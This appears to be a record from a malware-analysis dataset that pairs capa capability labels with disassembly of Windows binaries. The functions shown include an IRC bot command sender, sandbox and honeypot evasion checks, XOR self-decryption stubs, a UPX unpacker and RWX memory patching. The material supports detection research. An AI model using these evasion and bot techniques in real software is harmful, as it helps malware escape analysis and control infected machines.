joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401f7b
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x244
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 0x10]
lea eax, [ebp - 0x44]
push edi
mov edi, dword [ebp + 0x14]
push 0x40
push 0
push eax
call sub.VCRUNTIME140.dll_memset
mov eax, dword [ebp + 0xc]
add esp, 0xc
test eax, eax
jne 0x401fcd
push 0x3f
push str.PASS
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_r_n
jmp 0x4020d0
cmp eax, 1
jne 0x401fdb
push 0x3f
push str.NICK
jmp 0x401fb4
cmp eax, 2
jne 0x402001
push 0x3f
lea eax, [ebp - 0x44]
push str.USER
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s_____lol__:_s_r_n
jmp 0x402095
cmp eax, 3
jne 0x40200f
push 0x3f
push str.PONG
jmp 0x401fb4
cmp eax, 4
jne 0x402032
push 0x3f
lea eax, [ebp - 0x44]
push str.JOIN
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push edi
push esi
lea eax, [ebp - 0x44]
push eax
push str._s__s__s_r_n
jmp 0x402095
cmp eax, 5
jne 0x4020b0
cmp dword [0x40702c], 0
jne 0x4020ab
cmp dword [0x407028], 0
je 0x402079
mov ecx, 0x406128
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402070
test dl, dl
je 0x40206c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402070
add eax, 2
add ecx, 2
test dl, dl
jne 0x402050
xor eax, eax
jmp 0x402075
sbb eax, eax
or eax, 1
test eax, eax
je 0x4020ab
push 0x3f
lea eax, [ebp - 0x44]
push str.PRIVMSG
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
push edi
lea eax, [ebp - 0x44]
push eax
push str._s__s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x24
jmp 0x4020e4
xor eax, eax
inc eax
jmp 0x40211d
cmp eax, 6
jne 0x40211b
push 0x3f
lea eax, [ebp - 0x44]
push str.QUIT
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_strncpy]
push esi
lea eax, [ebp - 0x44]
push eax
push str._s_:_s_r_n
lea eax, [ebp - 0x244]
push 0x1ff
push eax
call fcn.0040156f
add esp, 0x20
push 0x40
lea eax, [ebp - 0x44]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
lea ecx, [ebp - 0x244]
add esp, 0xc
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4020fd
push 0
sub ecx, edx
lea eax, [ebp - 0x244]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.WS2_32.dll_send]
jmp 0x40211d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004031cd
leave
ret

Function at 0x40212b
Capabilities:
Initialize winsock library

Disassembly:
call fcn.0040217b
test eax, eax
jne 0x40213b
push eax
call dword [sym.imp.KERNEL32.dll_ExitThread]
push esi
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_srand]
pop ecx
call fcn.00402e55
call fcn.004015d7
call dword [sym.imp.WS2_32.dll_WSACleanup]
push esi
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
push 0
call dword [sym.imp.KERNEL32.dll_ExitThread]
Function at 0x40217b
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x194
mov eax, dword [0x4063c0]
xor eax, esp
mov dword [esp + 0x190], eax
lea eax, [esp]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov ecx, dword [esp + 0x190]
neg eax
sbb eax, eax
xor ecx, esp
inc eax
call fcn.004031cd
add esp, 0x194
ret

Function at 0x4021b8
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x9c
mov eax, dword [0x4063c0]
xor eax, ebp
mov dword [ebp + 0x74], eax
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x24], str.sandbox
push eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0x20], str.honey
push eax
mov dword [ebp - 0x1c], str.vmware
mov dword [ebp - 0x18], str.currentuser
mov dword [ebp - 0x14], str.nepenthes
mov dword [ebp - 0x10], 0x80
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [ebp - 0xc]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
xor esi, esi
push dword [ebp + esi*4 - 0x24]
lea eax, [ebp - 0xc]
push eax
call sub.VCRUNTIME140.dll_strstr
pop ecx
pop ecx
test eax, eax
jne 0x40222d
inc esi
cmp esi, 5
jb 0x402212
jmp 0x402230
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x74]
xor ecx, ebp
pop esi
call fcn.004031cd
add ebp, 0x78
leave
ret

Function at 0x402240
Capabilities:
Check if file exists
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.004021b8
test eax, eax
jne 0x40229f
push 2
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x190
call dword [sym.imp.KERNEL32.dll_Sleep]
push str._Mutex_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
jne 0x40229f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
jne 0x40229f
call fcn.004022a5
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, byte [0x404283]
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push eax
call fcn.0040212b
xor eax, eax
leave
ret 0x10
Function at 0x402dde
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
cmp eax, 0xffffffff
jne 0x402e03
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402dfc
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402e6c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor ecx, ecx
lea eax, [ebp - 4]
push eax
push ecx
push dword [ebp + 0xc]
mov dword [ebp - 4], ecx
push dword [ebp + 8]
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [ebp + 0x10], 0
mov esi, eax
je 0x402ea3
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x402eab
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, esi
pop esi
leave
ret
Function at 0x403b4e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403b8d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403b8d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403b8d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403b8d
cmp dword [ecx + 0x74], 0xe
jbe 0x403b8d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x3901462b
nop
nop
nop
nop
test eax, eax
je 0x43004e
nop
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x59bb2771
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
add eax, 4
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0xdcbdd4
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdcbdde
pushal
call 0xdcbde4
pop ebp
sub ebp, 0x10
sub ebp, 0x9cbdd4
jmp 0xdcbdfa
mov eax, 0x9cbdd4
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d2
mov edx, 0x8cc22709
xor byte [eax], dl
inc eax
dec ecx
jne 0xdcbe11
jmp 0xdcbe24
add ah, 0x82
xor byte [0x88090909], 0xc8
int1
or dword [ecx], ecx
or dword [edx], ecx
les esi, [ecx + 0x909090c]
mov bl, 0x21
or dword [ecx], ecx
or esi, edi
jmp 0xdcbe4b
insd dword es:[edi], dx
sub eax, 0x2d0d80f5
test byte [ebp + 0x2d], ch
cmc
or byte [0x2ccd612d], 0x28
or dword [ecx + 0x19], esp
xchg ecx, eax
jb 0xdcbe6b
or byte [0x3bb0612d], ah
jg 0xdcbe81
loope 0xdcbe78
or al, 9
or dword [ecx], ecx
loopne 0xdcbeaa
or dword [ecx], ecx
or eax, esp
cmp dword [ecx], ecx
or dword [ecx], ecx
pop esp
test byte [ebp + 0x2d], ah
or dword [ecx], ecx
or dword [esp + eax*4 + 0x65], ebx
sub eax, 0x18c8209
or dword [ecx], ecx
or dword [edx + 0x909018c], eax
or dword [edx + 0x909059c], eax
or dword [edx + 0x9091984], eax
add eax, 0x82090909
test byte [ecx], bl
or dword [ecx], ecx
or eax, ecx
loopne 0xdcbe99
cmp byte [ebx], cl
mov cl, bl
or eax, 0xfd8c0640
div dh
test byte [edx + 0x6d842d25], 0x2d
or eax, 0x820905cb
test dword [0x909090d], ebp
popal
int 0x2c
sub byte [ecx], cl
popal
sbb dword [ecx + 0x25080972], edx
sub eax, 0xf52d6d84
or dword [ecx - 0x33], esp
sub al, 0x28
or dword [ecx + 0x19], esp
xchg ecx, eax
jb 0xdcbebe
or byte [0x2d6d842d], ah
cmc
add byte [0x90ce12d], 9
sub eax, 0x9090ce1
or eax, esp
inc edx
or ecx, dword [ecx]
or dword [ebp + ebp*2 + 0x2580f52d], eax
sub eax, 0x7cf6e582
add eax, 0xe1017cf6
jno 0xdcbee4
or dword [ecx], ecx
xor byte [ecx + eax - 0x77f6f6f7], 0xf8
clc
scasb al, byte es:[edi]
push es
nop
push esi
mov al, bh
clc
scasb al, byte es:[edi]
push es
nop
push esi
cmp al, al
cmp bl, bl
mov ah, cl
or al, 0x41
push es
lea eax, [edi + 9]
or dword [ecx], ecx
push es
add dword [ecx + 9], 0x826f0909
adc eax, 0xe1f28930
push es
lea edx, [ebx]
or dword [ecx], ecx
or dword [ecx - 0x72f91f0e], ecx
sbb byte [ecx], cl
or dword [ecx], ecx
outsd dx, dword [esi]
mov dl, dh
imul byte [esi + eax]
lea ebx, [ecx + ecx]
or dword [ecx], ecx
dec eax
loopne 0xdcbeec
div dh
mul byte [eax]
inc ebp
xor byte [eax], cl
mov cl, al
or al, 0x8a
loope 0xdcbf41
loopne 0xdcbeea
div dh
mul byte [eax]
pop ebp
xor byte [ebx], cl
mov cl, al
jp 0xe266cd28
jecxz 0xdcbf50
mov ah, cl
or al, 0xe0
mov byte [0x82f6f6f6], al
and eax, 0x2d6d842d
or eax, 0x5c0905cb
sub eax, 0x905cb0d
pop esp
and ch, 0x5f
pop esi
pop esp
cmp byte [ebp + eax - 0x7e], 0x74
add ebp, esi
mov ebx, 0x880f8389
iretd

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100118c0
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x10011a84
pushal
mov esi, section.UPX1
lea edi, [esi - 0xb000]
push edi
jmp 0x100118ea
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x100118f1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x100118e0
mov eax, 1
add ebx, ebx
jne 0x10011903
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x100118f8
jne 0x10011914
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x100118f8
xor ecx, ecx
sub eax, 3
jb 0x10011928
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1001199a
mov ebp, eax
add ebx, ebx
jne 0x10011933
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x10011940
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x10011964
inc ecx
add ebx, ebx
jne 0x10011950
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x10011945
jne 0x10011961
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x10011945
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x10011984
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x10011975
jmp 0x100118e6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x10011984
add edi, ecx
jmp 0x100118e6
pop esi
mov edi, esi
mov ecx, 0x2af
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x100119a2
cmp byte [edi], 5
jne 0x100119a2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x100119a7
lea edi, [esi + 0xf000]
mov eax, dword [edi]
or eax, eax
je 0x10011a16
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x111b8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x11208]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x100119d4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1120c]
or eax, eax
je 0x10011a10
mov dword [ebx], eax
add ebx, 4
jmp 0x100119f1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x10011a47
cmp al, 0xef
ja 0x10011a3a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x10011a1c
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x10011a29
mov ebp, dword [esi + 0x11210]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x207]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x10011a7b
sub esp, 0xffffff80
jmp 0x10002cec
Function at 0x100141a0
Capabilities:
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x10023f34], 0
je 0x100141f3
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [0x10023f34]
push ecx
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [ebp - 4], 0x103
jne 0x100141dd
push 1
mov edx, dword [0x10023f34]
push edx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x10023f34]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x10023f34], 0
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10014200
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.10017ca0
add esp, 8
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10014234
xor eax, eax
jmp 0x1001430f
mov edx, 1
test edx, edx
je 0x100142f9
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
movzx edx, word [ecx]
cmp edx, 0x5a4d
je 0x1001425a
jmp 0x100142f9
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
cmp dword [edx], 0x4550
je 0x10014276
jmp 0x100142f9
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 0x54]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 0x1c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0x18]
cmp ecx, dword [ebp - 4]
jbe 0x1001429a
mov dword [ebp - 0x20], 0
mov edx, dword [ebp - 0x18]
add edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 4]
jbe 0x100142ae
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0x20]
push ecx
call fcn.10017d70
add esp, 0x10
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x100142db
jmp 0x100142f9
mov edx, dword [ebp - 0x14]
add edx, dword [ebp + 0x14]
mov eax, dword [edx]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ebp - 0x10]
sub edx, dword [ecx + 0x34]
mov dword [ebp - 8], edx
jmp 0x100142f9
mov eax, dword [ebp - 0xc]
push eax
call fcn.10005939
add esp, 4
mov dword [ebp - 0xc], 0
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x10016fe0
Capabilities:
Create thread
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [0x10023f34], 0
je 0x10017005
push 1
mov eax, dword [0x10023f34]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x10023f34], 0
mov dword [ebp - 4], 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0x10016f90
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x10023f34], eax
xor eax, eax
cmp dword [0x10023f34], 0
setne al
mov esp, ebp
pop ebp
ret

Function at 0x10017040
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
setne cl
mov eax, ecx
pop ebp
ret
Function at 0x10017660
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10019693
mov eax, dword fs:[0]
push eax
mov eax, 0x203c
call fcn.1000c9f0
mov eax, dword [0x10021030]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x2030], 0
lea ecx, [ebp - 0x201c]
call fcn.10001100
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x2020]
call fcn.10001100
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2018]
call fcn.10001100
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2024]
push eax
call fcn.10017190
add esp, 4
mov dword [ebp - 0x2034], eax
mov ecx, dword [ebp - 0x2034]
mov dword [ebp - 0x2038], ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x2038]
push edx
lea ecx, [ebp - 0x2020]
call fcn.10001160
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2024]
call fcn.10001140
mov ecx, 0x10023f64
call fcn.10001880
push eax
lea eax, [ebp - 0x2028]
push eax
call fcn.10011220
add esp, 8
mov dword [ebp - 0x203c], eax
mov ecx, dword [ebp - 0x203c]
mov dword [ebp - 0x2040], ecx
mov byte [ebp - 4], 4
mov edx, dword [ebp - 0x2040]
push edx
lea ecx, [ebp - 0x2020]
call fcn.10001180
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x2028]
call fcn.10001140
mov ax, word [0x1001e7e4]
mov word [ebp - 0x2014], ax
push 0x1ffe
push 0
lea ecx, [ebp - 0x2012]
push ecx
call fcn.10004e00
add esp, 0xc
lea ecx, [ebp - 0x2020]
call fcn.10001880
push eax
push 0x1000
lea edx, [ebp - 0x2014]
push edx
push 0x1001e7e8
push str.Item1
push str.Main
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
lea eax, [ebp - 0x2014]
push eax
call fcn.10004e7a
add esp, 4
cmp eax, 0x1b
jbe 0x10017894
lea ecx, [ebp - 0x1fde]
push ecx
lea ecx, [ebp - 0x2018]
call fcn.100027f0
push 1
lea ecx, [ebp - 0x2018]
call fcn.10001880
push eax
lea edx, [ebp - 0x202c]
push edx
call fcn.10011860
add esp, 0xc
mov dword [ebp - 0x2044], eax
mov eax, dword [ebp - 0x2044]
mov dword [ebp - 0x2048], eax
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x2048]
push ecx
lea ecx, [ebp - 0x201c]
call fcn.10001160
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x202c]
call fcn.10001140
lea ecx, [ebp - 0x201c]
call fcn.10001250
movzx edx, al
test edx, edx
jne 0x10017894
lea eax, [ebp - 0x201c]
push eax
call fcn.10017370
add esp, 4
lea ecx, [ebp - 0x201c]
call fcn.10001880
push eax
call fcn.10017090
add esp, 4
test eax, eax
jne 0x10017874
lea ecx, [ebp - 0x201c]
call fcn.100011a0
jmp 0x10017894
movzx ecx, byte [0x10023f2c]
and ecx, 0xf
mov byte [0x10023f2c], cl
movzx edx, byte [0x10023f2c]
add edx, 0x10
mov byte [0x10023f2c], dl
lea eax, [ebp - 0x201c]
push eax
mov ecx, dword [ebp + 8]
call fcn.10001120
mov ecx, dword [ebp - 0x2030]
or ecx, 1
mov dword [ebp - 0x2030], ecx
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2018]
call fcn.10001140
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x2020]
call fcn.10001140
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x201c]
call fcn.10001140
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10004cab
mov esp, ebp
pop ebp
ret
Function at 0x10017bc0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
cmp dword [ebp + 8], 0
je 0x10017bd8
cmp dword [ebp + 0xc], 0
je 0x10017bd8
cmp dword [ebp + 0x10], 0
jne 0x10017bdc
xor eax, eax
jmp 0x10017c35
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
lea eax, [ebp - 8]
push eax
push 0x40
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10017c33
mov eax, dword [ebp + 0x10]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10005240
add esp, 0xc
lea eax, [ebp - 4]
push eax
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 1
jmp 0x10017c35
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10017c40
Capabilities:
Check for software breakpoints

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 0
jmp 0x10017c56
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0x10]
jge 0x10017c8b
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
movzx eax, byte [edx]
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 4]
movzx edx, byte [ecx]
cmp eax, edx
je 0x10017c89
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 4]
movzx ecx, byte [eax]
cmp ecx, 0xcc
je 0x10017c89
xor eax, eax
jmp 0x10017c90
jmp 0x10017c4d
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x10017ca0
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push 0
push 0
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0xffffffff
jne 0x10017ccf
xor eax, eax
jmp 0x10017d6a
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10017cf2
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x10017d6a
mov eax, dword [ebp - 8]
push eax
call fcn.1000516a
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x10017d67
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp + 0xc]
mov dword [ecx], 0
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
cmp eax, dword [ebp - 8]
jae 0x10017d67
mov dword [ebp - 0x10], 0
push 0
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp - 8]
sub eax, dword [edx]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
add edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10017d50
jmp 0x10017d67
cmp dword [ebp - 0x10], 0
jne 0x10017d58
jmp 0x10017d67
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
add edx, dword [ebp - 0x10]
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
jmp 0x10017d17
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret